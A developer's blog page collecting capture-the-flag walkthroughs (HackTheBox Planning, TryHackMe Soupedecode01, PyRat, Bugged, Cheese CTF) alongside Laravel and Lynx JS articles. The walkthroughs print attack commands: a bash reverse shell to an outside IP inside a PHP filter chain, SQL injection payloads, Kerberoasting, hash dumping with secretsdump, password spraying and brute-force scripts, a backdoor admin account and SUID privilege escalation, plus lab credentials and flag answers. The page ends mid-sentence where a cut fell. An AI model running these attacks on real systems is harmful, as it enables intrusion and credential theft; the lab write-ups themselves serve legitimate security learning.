Nihir Zala | Full-Stack Laravel Developer

_articles

Planing — HTB Writeup HTB Planning is an easy Linux machine that highlights an RCE on Grafana, a container escape, and privilege escalation via a cronjobs service to obtain system privileges. We are provided with the following credentials : admin:0D5oT70Fq13EvB5r Enumeration After an initial scan of all TCP ports on the box, I perform a service scan on the open ports to obtain more information about them: Press enter or click to view image in full size Service scan After visiting the site, I added the name planning.htb to my hosts file and ran a vhost scan, which is often useful on HTB boxes: Press enter or click to view image in full size vhost scan This scan proved conclusive, as it allowed me to discover an available Grafana service and connect with the provided credentials: Press enter or click to view image in full size Grafana login page CVE-2024–9264 on Grafana v11.0.0 Once logged in, it’s good practice to check whether the service version is vulnerable to a CVE, which is what I did right away. Bingo, Grafana v11.0.0 is vulnerable to CVE-2024–9264 ! Press enter or click to view image in full size Grafana version This CVE is an authenticated RCE, and the following GitHub repository contains a very easy-to-use PoC : https://github.com/nollium/CVE-2024-9264 Press enter or click to view image in full size CVE-2024–9264 exploitation The fact that the user is root already tipped me off that the service is running in a Docker environment. After several unsuccessful attempts at getting a reverse shell, and after verifying that the container contained the Perl binary, I generated a Perl script with Claude : Perl reverse shell I then uploaded the shell to the machine via Python’s http.server module and found RCE : Press enter or click to view image in full size Shell uploading Then I executed it… Press enter or click to view image in full size Getting a reverse shell And finally, I got that long-awaited shell : Press enter or click to view image in full size User flag Container evasion Once on the container, I ran linpeas.sh to search for juicy information. Linpeas discovered credentials in environment variables, which are as follows : enzo:RioTecRANDEntANT! Press enter or click to view image in full size Linpeas results With a bit of luck, I thought that Enzo would reuse his credentials on the SSH service, which was the case. This brings us to the user flag : User flag Root flag Crontab UI After exploring the file system a little, I found the crontab.db file in the /opt/crontabs directory : Crontab.db file I obviously transferred this file to my machine and found some interesting information in it, such as root_grafanacredentials for another service : Press enter or click to view image in full size Credentials found Looking at the open ports on the server, I found port 8000, which I redirected to my machine using SSH port forwarding ssh -L 8000:127.0.0.1:8000 enzo@planning.htb : Press enter or click to view image in full size Cronjobs service Since I know that these jobs run as root, I had the idea of creating a job that would copy the bash binary and add a SUID bit to it so that it could be executed with root privileges : Malicious job After running the job, I can see that the binary is there : Malicious binary And I finally get the root flag : Root flag

Soupedecode01- THM Walkthrough

Enumeration I started with an nmap scan, as I almost always do. Sudo nmap -sCV -O 10.201.48.23 Press enter or click to view image in full size Great, we know a couple things immediately: The VM is a DC It’s running the domain soupedecode.local The VM’s FQDN is DC01. soupedecode.local The VM is not running a webapp The last point is important because CTFy VMs often run a website that you are supposed to poke around and find usernames. Either the robots.txt file will have a hint, you’re meant to run gobuster and find a dir that contains info, or they’ll simply have a “our valued employees” page with first and last names that you are meant to get usernames from. This is common enough that I wrote a function to generate possible usernames. The last time I used it was in the K2 room. #Input a text file with first name last names and generate potential usernames #$Names = Get-Content ".\Names.txt" Set-Location ".\CompTIA studying\THM stuff\K2" $Names = @("James Bold", "Rose Bud") $FQDN = "@k2.thm" "administrator" + "$FQDN" | Out-File .\Brute.txt -Append "guest" + "$FQDN" | Out-File .\Brute.txt -Append ForEach($Name in $Names) {$FirstName = $Name.Split('')[0] $LastName = $Name.Split('')[1] $FirstInitial = $FirstName.Substring(0,1) $LastInitial = $LastName.Substring(0,1) $MangledLast = $LastName.Substring(0,2) $MangledLast2 = $LastName.Substring(0,1) "$FirstName.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstName$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstName-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstInitial$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstInitial-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstInitial.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstName$MangledLast" + "$FQDN" | Out-File .\Brute.txt -Append "$FirstName$MangledLast2" + "$FQDN" | Out-File .\Brute.txt -Append } $Results = (Get-Content .\Brute.txt).Length Write-Host "Mishka generated $Results usernames." Write-Host "Copy/paste the contents of Brute.txt to /home/kali/Downloads/Wordlists/Brute and kerbrute." In this case though we are meant to give the Guest account a shot. This is an interesting take on setting up a room, I give the room’s author points for creativity on this one. Sudo mousepad /etc/hosts <DC's IP> soupedecode.local /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/guest@10.201.48.23 >> RawNames.txt I then parsed out just the usernames using PowerShell. $Filename = ".\SoupeDecode\RawNames.txt" $Output = "soupdecode_users.txt" $Lines = Get-Content "$Filename" ForEach($Line in $Lines) {($Line.split("\")[1]).split(" ")[0] | Out-File ".\$Output" -Append } Initial access I tried listening for awhile with Responder as none of the accounts were ASREPRoastable. I didn’t get any hits though. Apparently we are supposed to try password spraying. However the room’s author didn’t give us anything to try and rockyou.txt is a really big wordlist to try against every single account in an online attack. Hence I tried everyone’s username as their password. /home/kali/Downloads/kerbrute_linux_amd64 passwordspray --domain soupedecode.local --dc 10.201.1.43 --user-as-pass /home/kali/Downloads/THM/soupedecode_users.txt Press enter or click to view image in full size We get creds: ybob317 / ybob317 Lateral movement Now that I have credentials I can try all sorts of things: Authenticated enumeration with tools like enum4linx Poking around share drives Kerberoasting BloodHound enum4linux -u soupedecode.local\\ybob317 -p ybob317 -a 10.201.1.43 Press enter or click to view image in full size There’s a Users and a backup share. Let’s see if there’s any interesting information on them. smbclient \\\\10.201.1.43\\Users -U soupedecode.local\\ybob317 cd ybob317\Desktop more user.txt 28189316c25dd3c0ad56d44d000d62a8 Nice, we found the user flag. /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request soupedecode.local/ybob317 -dc-ip 10.201.1.43 -outputfile /home/kali/Downloads/THM/Roasted.txt Press enter or click to view image in full size john /home/kali/Downloads/THM/Roasted.txt - format=krb5tgs - wordlist=/home/kali/rockyou.txt Press enter or click to view image in full size John didn’t show which account had that password, so I ran a quick password spray against the 5 accounts with SPNs. I put these account names in TryThese.txt. crackmapexec smb 10.201.1.43 -u /home/kali/Downloads/THM/TryThese.txt -p 'Password123!!' -d soupedecode.local We have the password to file_svc, so let’s enumerate shares again. smbclient \\\\10.201.1.43\\backup -U soupedecode.local\\file_svc ls more backup_extract.txt Press enter or click to view image in full size Press enter or click to view image in full size I parsed out the hashes using Get-RawHashes.ps1 #Input a secretsdump file and output just the NTLM hashes $Lines = Get-Content ".\backup_extract.txt" ForEach($Line in $Lines) {$Line.Split(':')[3] | Out-File .\RawHashes.txt -Append }(Get-Content .\RawHashes.txt).Length I added the computer accounts, admin, and Administrator to TryThese.txt and sprayed the hashes. crackmapexec smb 10.201.1.43 -u /home/kali/Downloads/THM/TryThese.txt -H /home/kali/Downloads/THM/RawHashes.txt -d soupedecode.local --continue-on-success Press enter or click to view image in full size We got a hit. soupedecode.local\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 Privilege Escalation So we have 2 user accounts and 1 computer account: ybob317 \ ybob317 file_svc \ Password123!! FileServer$ \ e41da7e79a4c76dbd9cf79d1cb325559 Let’s try poking around share drives as FileServer$. Maybe this account has access to the C drive. smbclient //10.201.1.43/C\$ -U FileServer$ - pw-nt-hash e41da7e79a4c76dbd9cf79d1cb325559 -W soupedecode.local Interesting, this account can read the C drive on the DC. cd /Users/Administrator/Desktop more root.txt 27cb2be302c388d63d27c86bfdd5f56a Well that was rather anti-climactic. All we did was poke around share drives, we didn’t even get a shell on the DC yet. Post compromise I couldn’t just put the flags into TryHackMe’s site and stop there, that was almost too easy. We also never got a shell and we didn’t dump credentials. Let’s fix that. I tried DCSyncing as FileServer$. I figured if this account had rights to read the entire C drive then they might have rights to DCSync as well. /usr/share/doc/python3-impacket/examples/secretsdump.py 'soupedecode.local/FileServer$@10.201.1.43' -hashes :e41da7e79a4c76dbd9cf79d1cb325559 -just-dc Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d40c3a9a98889f5cbb778b0db54a2f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0::: … snipped for brevity … Press enter or click to view image in full size One of the many times the VM quite responding mid output They could. I thought I might have to try copying C:\Windows\NTDS\ntds.dit C:\Windows\System32\config\SYSTEM and dumping them offline, but no need to. TryHackMe’s connection seems to just be really bad lately. I ended up using wmiexec to connect as the Administrator, added an account for Mishky, made her an Administrator, and then RDPed into the VM. /usr/share/doc/python3-impacket/examples/wmiexec.py soupedecode.local/Administrator@10.201.72.72 -hashes aad3b435b51404eeaad3b435b51404ee:88d40c3a9a98889f5cbb778b0db54a2f net user Mishky Password123 /add net localgroup administrators Mishky /add xfreerdp /v:10.201.124.61 /u:Mishky /p:Password123 /dynamic-resolution Press enter or click to view image in full size It turns out the VM is running on Windows Server 2022 Datacenter without the GUI installed. That was a nice touch by the room’s author. Q&A The room only had two questions What is the user flag? 28189316c25dd3c0ad56d44d000d62a8 What is the root flag? 27cb2be302c388d63d27c86bfdd5f56a You can follow me on social media: Twitter, Linkedin, Instagram & Github.

Defensive Security Intro — Tryhackme Walkthrough

Defensive Security Intro — Tryhackme Walkthrough Defensive Security Intro Introducing defensive security and related topics, such as Threat Intelligence, SOC, DFIR, Malware Analysis, and SIEM. Press enter or click to view image in full size Cyber Security 101 Offensive Security Tooling Defensive Security Intro Tryhackme Walkthrough Learn about the different types of shells. Task 1 :-Introduction to Defensive Security Press enter or click to view image in full size Press enter or click to view image in full size Q1) Which team focuses on defensive security? Answers :- Blue Team Task 2 :-Areas of Defensive Security Press enter or click to view image in full size Press enter or click to view image in full size Q2) What would you call a team of cyber security professionals that monitors a network and its systems for malicious events? Answers :- Security Operations Center Q3) What does DFIR stand for? Answers :- Digital Forensics and Incident Response Q4) Which kind of malware requires the user to pay money to regain access to their files? Answers :- ransomware Task 3 :-Practical Example of Defensive Security Press enter or click to view image in full size Press enter or click to view image in full size Q5) What is the flag that you obtained by following along? Answers :- THM{THREAT-BLOCKED} You can follow me on social media: Twitter, Linkedin, Instagram & Github.

Lynx JS — A Game-Changer for Cross-Platform Development

Lynx JS — A Game-Changer for Cross-Platform Development Introduction In the ever-evolving world of web and mobile development, new frameworks continue to emerge, offering better performance, cross-platform capabilities, and ease of use. One such promising framework is Lynx JS. Developed by ByteDance, the company behind TikTok, Lynx JS is an open-source, high-performance framework that allows developers to build applications that run seamlessly across Android, iOS, and the web. What is Lynx JS? Lynx JS is a cross-platform native rendering framework designed to offer a smooth and efficient development experience. Unlike traditional JavaScript-based frameworks that rely on web views, Lynx JS provides native rendering, ensuring better performance, reduced latency, and an improved user experience. Key Features of Lynx JS Native Rendering: Ensures high performance by rendering UI elements directly on Android, iOS, and the web. Cross-Platform Development: Write once, run anywhere — build applications that work seamlessly across different platforms. Performance Optimization: Utilizes a multi-threaded engine for faster execution and smooth animations. React-Like Development: Developers familiar with React can quickly adapt to Lynx JS. Open-Source & Backed by ByteDance: Developed by the creators of TikTok, ensuring a strong foundation and ongoing improvements. Installing Lynx JS Getting started with Lynx JS is simple. Follow these steps to install and set up your first project: Step 1: Install Node.js Before installing Lynx JS, ensure you have Node.js installed on your system. You can download it from nodejs.org. Step 2: Install Lynx JS CLI Run the following command to install Lynx JS globally: npm install -g lynx-cli Step 3: Create a New Lynx JS Project Once the CLI is installed, create a new project using: lynx create my-lynx-app Navigate to your project folder: cd my-lynx-app Step 4: Run the Application Start the development server with: lynx start This command launches your application, allowing you to preview and test your code. Basic Usage Example Here’s a simple Lynx JS component to display a button: import { View, Text, Button } from 'lynx-react'; export default function App() { return ( <View> <Text>Hello, Lynx JS!</Text> <Button onClick={() => alert('Button Clicked!')}>Click Me</Button> </View> ); } Why Choose Lynx JS Over Other Frameworks? Lynx JS competes with React Native and Flutter, but its native rendering capabilities and optimization techniques give it an edge in performance-driven applications. Unlike React Native, which relies on a bridge between JavaScript and native components, Lynx JS interacts directly with the platform, minimizing delays and enhancing speed. Conclusion Lynx JS is a promising addition to the world of cross-platform frameworks. With its native rendering capabilities, strong backing from ByteDance, and developer-friendly approach, it is set to become a go-to solution for high-performance applications. Are you ready to try Lynx JS? Install it today and start building the future of cross-platform applications! Have you already experimented with Lynx JS? Share your experience in the comments below!

Laravel 12 Is Here

Laravel 12 Is Here: What’s New and How to Upgrade Laravel 12 has officially arrived, bringing exciting improvements that enhance performance, security, and the developer experience. Whether you’re building a new project or upgrading an existing one, this release makes it easier than ever to work with Laravel. In this article, we’ll explore the key features of Laravel 12 and guide you through the upgrade process. What’s New in Laravel 12? 1. Updated Application Starter Kits Laravel 12 introduces refined starter kits for React, Vue, and Livewire applications: React & Vue: Now built with Inertia 2, TypeScript, shadcn/ui, and Tailwind CSS. Livewire: Ships with the Tailwind-based Flux UI component library and Laravel Volt for a smoother frontend development experience. 2. Minimal Breaking Changes Laravel 12 focuses on stability, meaning most applications can upgrade with minimal modifications. The framework is shifting towards a continuous quality-of-life improvement model rather than major breaking changes in each version. 3. Performance Enhancements The core framework has been optimized to improve speed and resource management. Whether you’re handling large datasets or processing complex requests, Laravel 12 ensures better scalability and efficiency. 4. Enhanced Developer Experience Several new tools make development faster and more intuitive: Improved command-line tools for easier debugging and migrations. Clearer error messages and stack traces. More intuitive API syntax across various components. 5. Security Enhancements Security remains a top priority, and Laravel 12 introduces additional measures to protect applications against vulnerabilities such as SQL injection, cross-site scripting (XSS), and CSRF attacks. How to Upgrade to Laravel 12 Upgrading to Laravel 12 is straightforward if you’re already on Laravel 11. Follow these steps: Update Dependencies composer update laravel/framewor 2. Review Breaking Changes Check the official Laravel 12 Upgrade Guide to identify any breaking changes that might affect your application. 3. Test Your Application Run tests using PHPUnit or Pest to ensure everything is functioning correctly. Check logs for any deprecations or errors. 4. Clear Caches php artisan cache:clear php artisan config:clear php artisan route:clear 5. Deploy and Monitor Push your changes to production and monitor your application for any unexpected issues. Final Thoughts Laravel 12 continues to make web development easier, faster, and more secure. With its focus on stability and developer experience, upgrading is a no-brainer for anyone using Laravel. If you haven’t already, now is the perfect time to explore what Laravel 12 has to offer! Have you upgraded to Laravel 12? Share your experience in the comments below!

Laravel Security Mistakes & Fixes

Laravel is one of the most popular PHP frameworks, known for its elegance, scalability, and security features. However, developers can still make security mistakes that leave applications vulnerable to attacks. In this article, we’ll explore common Laravel security mistakes and how to fix them. 1. Not Using Environment Variables Securely Mistake: Many developers expose sensitive credentials (like database passwords, API keys) directly in configuration files. Fix: Always store sensitive data in the .env file and never commit it to version control. DB_PASSWORD=your_secure_password APP_KEY=your_generated_key Use config('app.key') instead of hardcoding values. 2. Not Hashing Passwords Mistake: Storing passwords in plain text or weakly encrypted formats makes them easy targets for hackers. Fix: Use Laravel’s built-in bcrypt hashing when storing passwords. use Illuminate\Support\Facades\Hash; $user->password = Hash::make('your-secure-password'); $user->save(); Laravel automatically hashes passwords when using Auth::attempt(). 3. SQL Injection Vulnerabilities Mistake: Using raw SQL queries without parameter binding: $users = DB::select("SELECT * FROM users WHERE email = '$email'"); This makes the application vulnerable to SQL injection attacks. Fix: Always use prepared statements or Eloquent ORM to prevent SQL injection. $users = DB::table('users')->where('email', $email)->get(); 4. Allowing Mass Assignment Mistake: Not protecting model attributes from mass assignment. User::create($request->all()); This allows attackers to inject unexpected fields, modifying user roles or passwords. Fix: Use $fillable or $guarded in your models. protected $fillable = ['name', 'email', 'password']; Alternatively, use request->only() to control input fields: User::create($request->only(['name', 'email', 'password'])); 5. Not Using CSRF Protection Mistake: Failing to include CSRF tokens in forms makes applications vulnerable to Cross-Site Request Forgery (CSRF) attacks. Fix: Always include @csrf in your Blade forms: <form method="POST" action="/submit"> @csrf <input type="text" name="name"> <button type="submit">Submit</button> </form> Laravel automatically protects routes using VerifyCsrfToken middleware. 6. Exposing Debug Mode in Production Mistake: Leaving APP_DEBUG=true in .env file exposes detailed errors, revealing sensitive information. Fix: Always set APP_DEBUG=false in production. APP_DEBUG=false Use Laravel’s log files to monitor errors instead. 7. Weak API Authentication Mistake: Exposing APIs without authentication makes them easy targets for abuse. Fix: Use Laravel Sanctum or Passport for secure API authentication. use Laravel\Sanctum\HasApiTokens; class User extends Authenticatable { use HasApiTokens, Notifiable; } Require an API token for requests: $token = $user->createToken('token-name')->plainTextToken; 8. Not Validating User Input Mistake: Accepting unvalidated input can lead to XSS, SQL Injection, and other attacks. Fix: Always validate inputs using Laravel’s validation rules: $request->validate([ 'email' => 'required|email|unique:users,email', 'password' => 'required|min:8', ]); Sanitize user input when necessary. Conclusion Security should always be a top priority when developing Laravel applications. By avoiding these common mistakes and implementing best practices, you can build secure and reliable applications. Did you find this guide helpful? Let’s discuss more security practices in the comments! 🚀 You can follow me on social media: Linkedin & Github.

TryHackMe — PyRat | WalkThrough

TryHackMe — PyRat | WalkThrough The Scenario The room is designed to mimic a vulnerable Python application. The main goal is to gain shell access by exploiting the way the server handles specific commands. Here’s a breakdown of the process I followed to root the system. Step 1: Scanning and Enumerating the Server The result gives two ports — Port 8000 (HTTP) and Port 22 (SSH). My first step was to use a tool nmap to scan the server. This revealed a web server running on Python's SimpleHTTPServer module, version 3.11.2. Knowing this, I could start investigating possible vulnerabilities associated with this outdated Python module. Step 2: Investigating the Web Application The web app provides minimal information at first glance. However, after inspecting the page and by interacting with the endpoint, it becomes clear that this server might allow remote code execution (RCE) by exploiting a vulnerability in the way it processes commands. Step 3: Gaining Shell Access After some initial attempts at using Netcat and Telnet to interact with the server, I discovered that the web endpoint was behaving like an interactive Python shell. Commands such as print("hello") or id would return outputs, confirming that Python was indeed executing on the server. print("hello") returns "hello" which means the command is being executed. Next, I crafted a simple Python reverse shell command and tried to execute it through the web endpoint. However, I encountered some minor syntax issues at first. After adjusting my payload, I successfully launched a reverse shell and connected it back to my local machine. So open up two terminals and in one terminal setup an nc listener to port 4444 and other terminal run nc “victim_ip” 8000, as shown in the image below: Next, go to the online reverse shell generator website (https://www.revshells.com/) and obtain the payload needed for a reverse shell. After executing the command, you will successfully establish a reverse shell, as demonstrated below: Run the cmd Reverse shell on the listener The above steps can be also done by running “nc 10.10.57.3 8000” and simply typing “shell”. To learn more about this you can visit: “https://github.com/josemlwdf/PyRAT/tree/main”. Once we get the shell we can see that there is a user called “think”: By carefully reading the room’s description, you’ll notice the line: ”Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version.” Following this hint, I navigated to `/opt/dev` and found a `.git` directory. Exploring it further, I came across a `config` file, which revealed the password for the username “think.” As you might recall from the Nmap scan, SSH is available on the target. The next step is to log in using SSH with the username and password we just uncovered: Once logged in we get the user.txt file: Step 4: Privilege Escalation After securing a proper SSH session, I was able to escalate privileges by finding and exploiting a misconfigured cron job or a weak file permission in the system; with no luck at all as shown in the below images: So next, I look more into the git folder, and as we know that a Git repository tracks all changes made to the codebase, meaning there may be additional information we can retrieve from it. I executed the `git status` command and noticed that an older version of the file had been deleted. To retrieve it, I restored the file and used `cat` to display its contents and examine the previous code: git status This revealed that an old version of `pyrat.py.old` had been deleted. I restored the file with: git restore pyrat.py.old Afterward, I used `cat` to view the contents of the restored file and analyze the old code: This allowed me to investigate any potential vulnerabilities or useful information in the previous version of the program. We need to try different endpoints we can do this manually as shown below: Or write a script and fuzz it with random endpoints based on the room’s introduction, here’s the script used for fuzzing which i saved it as “endpoint.py”: import socket def fuzz_endpoints(ip, port, endpoints): for endpoint in endpoints: try: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ip, port)) print(f"Testing: {endpoint}") client_socket.sendall(endpoint.encode() + b'\n') response = client_socket.recv(1024) print(f"Response from {endpoint}: {response.decode()}\n") client_socket.close() except Exception as e: print(f"Error with {endpoint}: {e}") # List of potential endpoints to fuzz endpoint_list = ["some_endpoint", "shell", "admin", "backup", "reset", "login", "help", "root", "register", "old"] # Target IP and port (replace with actual values) target_ip = "10.10.57.3" target_port = 8000 # Fuzz the endpoints fuzz_endpoints(target_ip, target_port, endpoint_list) The script produced the following responses: The response from ‘shell’ indicates it’s a non-privileged user, so we can disregard it. The ‘admin’ endpoint, however, asks for a password, suggesting it could be of importance. So we need to crack the password, and we need to automate the process, for this, the script is given below save it as passwords.py and run it: import socket # Configuration target_ip = "10.10.57.3" # Target IP target_port = 8000 # Target port password_wordlist = "passwordlist-1640267.txt" # Path to your password wordlist file def connect_and_send_password(password): try: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((target_ip, target_port)) client_socket.sendall(b'admin\n') response = client_socket.recv(1024).decode() print(f"Server response after sending 'admin': {response}") if "Password:" in response: print(f"Trying password: {password}") client_socket.sendall(password.encode() + b"\n") response = client_socket.recv(1024).decode() if response: print(f"Server response for password '{password}': {response}") return True else: print(f"Password '{password}' is incorrect or no response.") return False except Exception as e: print(f"Error: {e}") return False finally: client_socket.close() def fuzz_passwords(): with open(password_wordlist, "r") as file: passwords = file.readlines() for password in passwords: password = password.strip() # Remove any newline characters if connect_and_send_password(password): print(f"Correct password found: {password}") break else: print(f"Password {password} was incorrect. Reconnecting...") if __name__ == "__main__": fuzz_passwords() You can use any file for the passwords like rockyou.txt and you will get the password. When you have the password you can nc to the machine type admin and enter the password to get access as admin: You can follow me on social media: Twitter, Linkedin, Instagram & Github.

Bugged || TryHackMe WalkThrough

the intro to the room is: John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are? and our question is: What is the flag? Let’s begin! Step 1: The first thing I did was scan the host with Nmap to find out that there were no open ports. First scan-nmap, no open ports. so I’ve tried RustScan to scan all the ports, Second scan-RustScan, port 1883 is open. found out that port 1883 is open, with the “MQTT” service, A quick search for this service, and I found out the purpose of this service. MQTT (Message Queue Telemetry Transport) is a lightweight messaging protocol designed for Internet of Things (IoT) devices and communication with minimal network bandwidth and power consumption. Makes sense for a smart home application. now let’s scan just a bit more that port with: nmap -A -p 1883 <host-ip> and we’ve got a long list of Topics (read the Wikipedia page of MQTT. but in a sentence, topics are hierarchical strings that are used to identify the message destination or source.). Topics and their most recent payloads. some of the topics are in those formats: $SYS/broker/# you can read more about MQTT wildcards and topics at this link. and some of them related directly to the smart house application, like: livingroom/speaker kitchen/toaster storage/thermostat but none of them are actually giving us any idea for the next step, so I’ve run the same scan again, after all, it makes sense that a smart house application traffic will change constantly. Another aggressive scan, and still nothing special. So the second scan did show us different payloads but all are similar to the last scan and still don’t give us any clue. So I ran another scan and this time I found something interesting. Base 64 payload a payload encoded with base64, in a strange topic. yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config: Let’s decrypt it. Step 2: I’ve copied the message to a file named “payload.txt” and decrypt the message, The encrypted message. let’s analyze the message now, “id”:”cdd1b1c0–1c40–4b0f-8e22–61b357548b7d” Looks like the ID of who published that payload (we already saw similar ids in the first scans). registered_commands”:[“HELP”,”CMD”,”SYS”] we can understand that there is a way to communicate with this machine with those commands. “pub_topic”:”U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub” ”sub_topic”:”XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub” two topics, one for publishing and one for subscribing. this payload was sent to a config topic so it probably has something more than just a message. For the next step, we’re going to publish and subscribe to the topics we found and see what we are getting. Step 3: let’s start with the subscribe command: mosquitto_sub -h 10.10.151.198 -p 1883 -t U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub now for the publish command, we’ll try to execute the “HELP” command. mosquitto_pub -h 10.10.151.198 -p 1883 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m “HELP” -h specify host ip. -p specify port. -t specify topic. Right after sending the publish message I received another Base64 encrypted message at the subscribe window. Another encrypted message. After decrypting the message I’ve found the format for sending commands, The decrypted message. Let’s try to send a command using the given format! Step 4: So now we’ll encrypt the command we want to send to base64. the first command will be “HELP” with no arguments given, I used the id we saw at the first step. Converting the command to base64 now let’s publish the encrypted payload, look at the subscribe window, The received payload. Decrypt. {“id”:”cdd1b1c0–1c40–4b0f-8e22–61b357548b7d”,”response”:”Message format:\n Base64({\n \”id\”: \”<Backdoor ID>\”,\n \”cmd\”: \”<Command>\”,\n \”arg\”: \”<arg>\”,\n })\n\nCommands:\n HELP: Display help message (takes no arg)\n CMD: Run a shell command\n SYS: Return system information (takes no arg)\n”} There is a lot of /n but the idea is pretty clear, let’s try now to send the CMD command with ls as an argument, just the same way we did before. and we’ve received another message: decrypt: {“id”:”cdd1b1c0–1c40–4b0f-8e22–61b357548b7d”,”response”:”flag.txt\n”} and here is our flag! now all that’s left for us is to encode the last command: {“id”: “cdd1b1c01c404b0f-8e2261b357548b7d”, “cmd”: “CMD”, “arg”: “cat flag.txt”} publish it as we did before as base64: eyJpZCI6ICJjZGQxYjFjMDFjNDA0YjBmLThlMjI2MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAiY2F0IGZsYWcudHh0In0= and decrypt the message we’ve got, and this is our flag!

TryHackMe: Cheese CTF || Walk

TryHackMe: Cheese CTF || Walkthrough Let’s break down the approach and solve this room! Step 1: Setting Up and Initial Recon To get started, I created a directory for Cheese CTF on my machine. Since a Nmap scan isn’t particularly necessary in this case, I skipped it after confirming that Port 80 and SSH (Port 22) were the main focus here. Once you have the target IP, copy it into your browser. The website presents itself as a cheese shop with a few functionalities: Products, About Us, Contact, and Login. Most of these links lead to the same page, except for the Login, which opens a new page. Step 2: Investigating the Web Page I began by inspecting the View Page Source for any clues. While there wasn’t much initially, I did notice that the login link had been recently added. Despite some attempts at brute-forcing the login (using common combinations like `admin:admin`), nothing seemed to work. So, what’s next when brute force fails? Let’s move on to SQL injection. Step 3: SQL Injection Attack I attempted a basic SQL injection query: ' OR 1=1;-- - This didn’t work, so I tried a slight variation, you can check out different payload for SQL injection at GitHub — payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List: ' || '1'='1';-- - And we get a page with a cheese shop admin panel: However, browsing through users and orders didn’t yield much, except for a secret script: `secret_script.php` in the URL as shown in the above image. This script had a `file` parameter, so I realized that this could be vulnerable to File Inclusion. Step 4: Exploiting File Inclusion vulnerability I tested the vulnerability by attempting to access sensitive system files like `/etc/passwd` through the `file` parameter. The page loaded the file successfully, confirming the vulnerability. Guys from here on things starts to get interesting… Step 5: Gaining Remote Code Execution (RCE) The next step was to use this to gain remote code execution (RCE). After researching, I found a Python script online to help generate a PHP filter payload. This would allow us to leverage the LFI (Local File Inclusion) to execute arbitrary commands on the server. The link is given below: php_filter_chain_generator/php_filter_chain_generator.py at main · synacktiv/php_filter_chain_generator · GitHub Run the following command: ┌──(kali㉿kali)-[~/Desktop] └─$ python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.6.74.42/4444 0>&1\"'); ?>" | grep "^php" > payload.txt And we get the payloads: Using the generated payload, equip `curl` to execute it on the target system. With Netcat listener already running, you will quickly gain a shell as the www-data user. Curl the payload.txt to the victim machine after starting the netcast listener on port 4444: ┌──(kali㉿kali)-[~/Desktop] └─$ curl "http://10.10.221.128/secret-script.php?file=$(cat payload.txt)" And we get the shell as www-data: Step 6: Privilege Escalation With access, navigate to the `/tmp` directory and download LinPEAS, a tool that helps with Linux privilege escalation. Execute it to search for ways to escalate privileges to a more powerful user. “LinPEAS is a script that searches for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz” So get the linpeas.sh file on the victim machine after downloading it to your own machine, to do this follow the steps given in the website: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS Start a Python server on your machine and in the victim machine, wget the linpeas.sh file Once you have linpeas.sh file on the victim machine proceeds as following: give execute permission to Linpeas once it has been downloaded: www-data@cheesectf:/tmp$ chmod +x linpeas.sh chmod +x linpeas.sh Execute linpeas: ./linpeas.sh Linpeas flagged some interesting files, notably writable files in /home/comt/.ssh/authorized_keys, which could be modified. This means we can create our own SSH key pair on my local machine and add the public key to this file, allowing us to log in as comte. Next create a SSH key on your local machine as following: ─$ sudo ssh-keygen -t rsa [sudo] password for kali: Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in id_rsa Your public key has been saved in id_rsa.pub The key fingerprint is: SHA256:CZelIpOxyM8BAtvjP957aKZ92rS/D+JLPuVBuMU+uJ0 root@kali The key's randomart image is: +---[RSA 3072]----+ |+ . . . | | = o + + | |. = * o +o | | . + + +..+ | | . o S* | | . o = | | o .+=.+ | | . ++*=oE. | | o+==*+oo. | +----[SHA256]-----+ Next copy the SSH key from id_rsa.pub file: Paste the key in the victim machine as: After generating an SSH key and adding it to the authorized keys file, log in as the comte user. It is shown below: ┌──(kali㉿kali)-[~] └─$ ssh -i id_rsa comte@10.10.221.128 And we get the first flag of user.txt if you ls and cat user.txt when logged in as comte. #2.1 What is the user.txt flag? Answer: THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a} Step 7: Exploiting Systemctl for Root Access Once logged in, I ran `sudo -l` to check Comte’s privileges. I found that I could execute systemctl and modify a file called `exploit.timer`, which was used to run an exploit service. The `exploit.timer` file had a faulty configuration, but since I had write access, I was able to fix the settings. I set the timer to run every 5 seconds and started the service. After changing the value of the OnBootSec run the following command, which just restarts the services and makes the status of exlpoit.timer to Active, which in fact will run the service exploit.service. The service would trigger exploit.service, which gave setuid permissions to the `xxd` binary, allowing it to run with elevated privileges. Step 8: Writing to Root’s SSH and Gaining Root So next navigate to GTFOBins to know how we can use the xxd to gain sudo privileges. So we can use the file write option to write the ssh key we generated to gain root privileges, with access to the `xxd` binary, write the SSH public key we created before directly into the root user’s 